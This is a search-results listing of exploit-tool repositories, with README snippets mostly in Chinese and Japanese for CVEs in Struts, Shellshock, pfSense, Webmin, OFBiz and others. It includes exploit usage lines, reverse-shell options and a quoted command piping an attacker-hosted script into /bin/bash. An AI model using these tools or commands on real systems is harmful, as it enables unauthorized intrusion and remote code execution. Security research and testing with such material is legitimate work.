22611 matches found
CVE-2023-27997-POC
用法： python3 cve-2022-42475.py rhost rport lhost 'command' 示例： python3 cve-2022-42475.py 192.168.10.1 8443 10.10.1.1 'ls -la /' 免责声明： 本项目仅用于教育和道德测试目的。未经事先双方同意而使用此工具攻击目标属违法行为。开发者不承担任何责任，也不对因使用此工具造成的任何滥用或损害负责。...
SenselessViolence
SenselessViolence CVE-2022-31814 pfSense pfBlockerNG = 2.1.426 利用工具包。 这是什么？ 这是一个针对 pfSense pfBlockerNG = 2.1.426 插件远程命令注入漏洞（由 IHTeam 发现）的利用工具包。 我编写这个工具是为了模拟 NSA 防火墙利用工具包中的一些设计原则——因此，它设计为完全兼容 nopen 植入（只需一个小的、已文档化的修改），内置日志清除功能，并通过实现一些预检检查（被动和主动漏洞测试）来确保极高的可靠性。 提供了一个用 Python 编写的简单反向 TTY Shell 载荷作为本工具...
StrutsShell
StrutsShell Apache Struts（CVE-2017-5638）Shell 简介 "LowNoiseHG LNHG Struts Shell "（以下简称"StrutsShell "）诞生于2017年3月，当时我们认识到无需手动利用Apache Struts CVE-2017-5638漏洞（手动发送HTTP GET请求）的实用性，同时也发现针对该漏洞的相应Metasploit模块无法正常工作（至少在我们的测试案例中如此）。 描述 StrutsShell 的基本操作包括：处理针对被攻击平台（Windows、Linux等）的命令行（shell）输入，并利用Apache...
CVE-2026-87902
CVE-2026-87902 | ---|--- Advisory| GHSA-7hp8-65ch-5whp Product| WordPress = 7.1.1, fixed in 7.1.2; both versions tested Sink| wp-includes/template.php, getpagetemplate Cause| the candidate built from pagename is not passed through validatefile Actor| anonymous, no account, no cookie, no CSRF toke...
Rejetto-HTTP-File-Server-HFS-2.3.x---Remote-Command-Execution
Rejetto HTTP File Server HFS 2.3.x - 远程命令执行 CVE-2014-6287 重写 Pergyz 49584.py 以返回 x64 PowerShell 反向 Shell 用法 $ python3 hfs-2-3-exploit.py 按提示提供变量，将自动为你启动 Netcat...
-CVE-2014-6271-Shellshock-Remote-Command-Injection-
CVE-2014-6271 Shellshock远程命令注入 CVE-2014-6271 Apache Shellshock远程命令注入工具，用于快速反弹Shell和文件浏览 Shellshock Apache远程利用 用法： ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py payload=files rhost=1.2.3.4 page=3 echo="ls -la" ./Shellshock.py payload=files...
CVE-2018-6574
CVE-2018-6574 Go 1.8.7 之前的版本、Go 1.9.x 在 1.9.4 之前，以及 Go 1.10 预发布版本在 Go 1.10rc2 之前，允许在源代码构建期间通过 go get 远程执行命令，利用 gcc 或 clang 插件功能，因为 -fplugin= 和 -plugin= 参数未被阻止。（来自 mitre） RCE 命令 该命令被编译进动态库 calcdarwin.so。当前命令为 curl newton.cycarrier:8002 | /bin/bash。它曾被用作程序的初始访问。你需要在 8002 端口托管一个文件服务器，并将主机绑定到你的 IP。...
CVE-2024-10914-Exploit
SilverX 漏洞利用工具 📌 描述 SilverX 漏洞利用工具是一款渗透测试脚本，旨在检测和利用 Web 应用程序中的漏洞。它提供了一个类 Shell 的界面，用于在易受攻击的系统上远程执行命令。 ⚠️ 免责声明 此工具仅用于教育和授权的安全测试目的。未经许可对任何系统进行未授权使用是非法且不道德的。请负责任地使用。 🚀 特性 自动漏洞检测 远程命令执行 反向 Shell 支持（Bash、Python、Netcat、PowerShell） 文件上传和下载功能 类 Shell 命令执行 🔧 安装 确保已安装 Python。然后，安装所需的依赖项： pip install request...
ATutor-Instructor-Backup-Arbitrary-File
ATutor-Instructor-Backup-Exploit 漏洞名称: ATutor 2.2.4 '备份' 远程命令执行 CVE-2019-12170 Google Dork: inurl:/ATutor/login.php 日期: 2019年5月13日 漏洞作者: liquidsky Joseph McPeters 厂商主页: https://atutor.github.io/ 软件链接: https://sourceforge.net/projects/atutor/files/latest/download 版本: 2.2.4 版本2.2.4及更早版本似乎受影响 测试环境:...
CVE-2025-24893-POC
CVE-2025-24893 安装 bun： curl -fsSL https://bun.com/install | bash 安装依赖： bun install 运行： bun run CVE-2025-24893.ts 本项目是使用 bun v1.2.19 的 bun init 创建的。Bun 是一个快速的一体化 JavaScript 运行时。 使用方法： Usage: bun CVE-2025-24893.ts options Options: -u, --url The target URL to interact with. -i, --ip The IP address f...
WSMan-WinRM
WSMan-WinRM WSMan.Automation COM オブジェクトを使用して、WinRM 経由でリモートコマンドを実行するための概念実証ソースコードとスクリプトのコレクションです。 背景 背景情報については、以下のブログ記事を参照してください: WS-Management COM: WinRM ラテラルムーブメントへの別のアプローチ 注意事項 SharpWSManWinRM.cs と CppWsManWinRM.cpp は Visual Studio 2019 でコンパイル可能です。必要なインポート/参照などについては、コードのコメントを参照してください。 すべての例では、W...
smbmap
SMBMap SMBMapを使用すると、ドメイン全体にわたるSamba共有ドライブを列挙できます。共有ドライブの一覧表示、ドライブの権限、共有内容、アップロード/ダウンロード機能、ファイル名の自動ダウンロードパターンマッチング、さらにはリモートコマンドの実行が可能です。このツールはペネトレーションテストを念頭に置いて設計されており、大規模ネットワーク上の潜在的な機密データの検索を簡素化することを目的としています。...
GenGravSSTIExploit
英文 GenGravSSTIExploit 是一个 PoC Python 脚本，利用 Grav CMS 版本 -p ：目标 URL，格式为 https://hostname。 ：端口号（默认为 80）。 示例： python GenGravSSTIExploit.py -t http://example.com -p 8080 4. 与 Exploit 交互 如果利用成功，你会获得一个可以执行操作系统命令的 URL： + RCE payload injected. Visit the malicious page: http://example.com:8080/poc?do= 示例输出...
susinternals
susinternals - 死而复生，作者 @deft、@cablethief 与 @randomwalksp（reino） 该工具允许你通过 Python 脚本，经由 PSExeSVC 服务远程执行命令。 它可以用于： 以用户身份进行身份验证（使用主令牌）： 以系统身份进行身份验证： 完整博客文章可以在这里找到！...
SMShell
SMShell SMSベースのシェルのPoC（概念実証）です。モバイルブロードバンド対応コンピュータからSMS経由でコマンドを送信し、応答を受信します。 このツールは、Markus Vervier氏が主導したeSIMセキュリティの影響に関する研究中に着想を得て開発され、Offensivecon 2023で発表されました。 免責事項 これは完全なC2ではなく、SMS経由でリモートからコマンドを実行するためのシンプルな概念実証（Proof of Concept）です。 必要条件...
CVE-2015-3306-Python-PoC
CVE-2015-3306-Python-PoC 这是从 metasploit 模块调整转换而来，作为 OSCP 学习和漏洞利用开发的练习。它最初来自用 searchsploit 搜索随机远程命令执行模块。我分析了 metasploit 代码并将其转换成了 python。 验证截图：...
CVE-2021-31760
..| CVE-2021-31760 |.. Description : 利用跨站请求伪造CSRF攻击，通过Webmin的运行进程功能获取远程命令执行RCE。 Tested Version : Webmin 1.973 GitHub最新版本 07/03/2021 Attack Type: 远程 Impact : 远程命令执行 利用代码POC : YouTube POC : https://youtu.be/D45FN8QrzDo 产品厂商 : https://www.webmin.com 附加信息 :...
OFBiz-Attack
OFBiz-Attack A Tool For CVE-2023-49070/CVE-2023-51467 Attack 测试环境 vulhub/ofbiz:18.12.09 使用 启动 java -jar OFBiz-Attack.jar 共有三个模块，分别是： 漏洞检测 仅输入目标URL即可，无限额外添加路由，否则影响后续模块利用。仅支持发送Https请求，运行速度取决于Web服务器性能 验证完成后请勿修改URL，后续利用会从此框获取URL 命令执行 使用前需完成漏洞校验，使用的是CVE-2023-51467来执行命令，也方便回显 执行失败会返回Not executed for...
struts-pwn_CVE-2017-9805
struts-pwn - CVE-2017-9805 漏洞利用工具 适用于 Apache Struts CVE-2017-9805 的漏洞利用工具 使用方法 检查单个 URL 是否存在漏洞。 python struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3' 检查 URL 列表是否存在漏洞。 python struts-pwn.py --list 'urls.txt' 对单个 URL 进行漏洞利用。 python struts-pwn.py --exploit --url...